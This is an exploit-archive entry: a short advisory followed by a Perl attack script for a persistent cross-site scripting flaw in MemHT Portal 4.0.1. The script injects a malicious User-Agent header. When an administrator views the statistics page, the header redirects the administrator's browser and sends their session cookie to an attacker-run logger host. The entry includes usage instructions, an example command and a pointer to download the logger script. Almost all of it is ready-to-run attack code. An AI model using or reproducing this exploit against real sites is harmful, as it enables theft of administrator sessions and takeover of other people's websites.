MemHT Portal version 4.0.1 suffers from a persistent cross site scripting vulnerability.
ac982b82d84e75d367b151d22284e82678001b1b73c9dcc8020c731a04e90f7c#!/usr/bin/perl
# MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability [user agent]
# by ZonTa - zontahackers[at]gmail[dot]com
#
# After successful inject wait for the admin to view statistic page.
# Fix is available : http://www.memht.com/news_149_MemHT-Portal-4-0-2.html
use Getopt::Std;
use Digest::MD5('md5_hex');
use LWP::UserAgent;
my ($host,$id,$username,$password,$logger) = @ARGV;
my $http = new LWP::UserAgent;
my $u_agent = "]\"</td></tr><BODY ONLOAD=document.location=\"http://$logger?cookie=\"+document.cookie+\"&redirect=http://$host\">";
my $cookies = "login_user=$id#".md5_hex($username)."#".md5_hex($password);
Main::Exploit();
package Main;
sub Exploit
{
if (@ARGV != 5) {
Main::Usage();
}
else {
HTTP::UserAgent($u_agent);
MemHT::Login();
}
}
sub Usage {
return print <<EOF;
+-------------------------------------------------------------------+
| MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability |
+-------------------------[user agent]------------------------------+
by ZonTa - zontahackers[at]gmail[dot]com
Usage: perl exploit.pl host/path userId user pass logger[OPTIONS]
host: target host and memht path
userId: user id
user: valid username
pass: valid password
logger: PHP loging file
Example:
perl exploit.pl localhost/memht 2 foo secret 192.168.1.5/logger.php
Download Logger.php -> http://pastebin.com/K6E9AWrC
EOF
}
package MemHT;
sub Login
{
HTTP::Cookies($cookies);
my $response = HTTP::GET($host.'/index.php?page=pvtmsg&op=newMessage');
if ($response->content =~ /access denied/i) {
print "Login Failed!\n";
exit;
}
else {
print "Logged In!\n";
print "XSS injected !";
}
}
package HTTP;
sub UserAgent
{
return $http->agent($_[0]);
}
sub Cookies
{
return $http->default_header('Cookie' => $_[0]);
}
sub GET
{
if ($_[0] !~ m{^http://(.+?)$}i) {
return $http->get('http://'.$_[0]);
}
else {
return $http->get($_[0]);
}
}
sub POST
{
if ($_[0] !~ m{^http://(.+?)$}i) {
return $http->post('http://'.$_[0]);
}
else {
return $http->post($_[0]);
}
}
sub http_header
{
return $http->default_header($_[0]);
}
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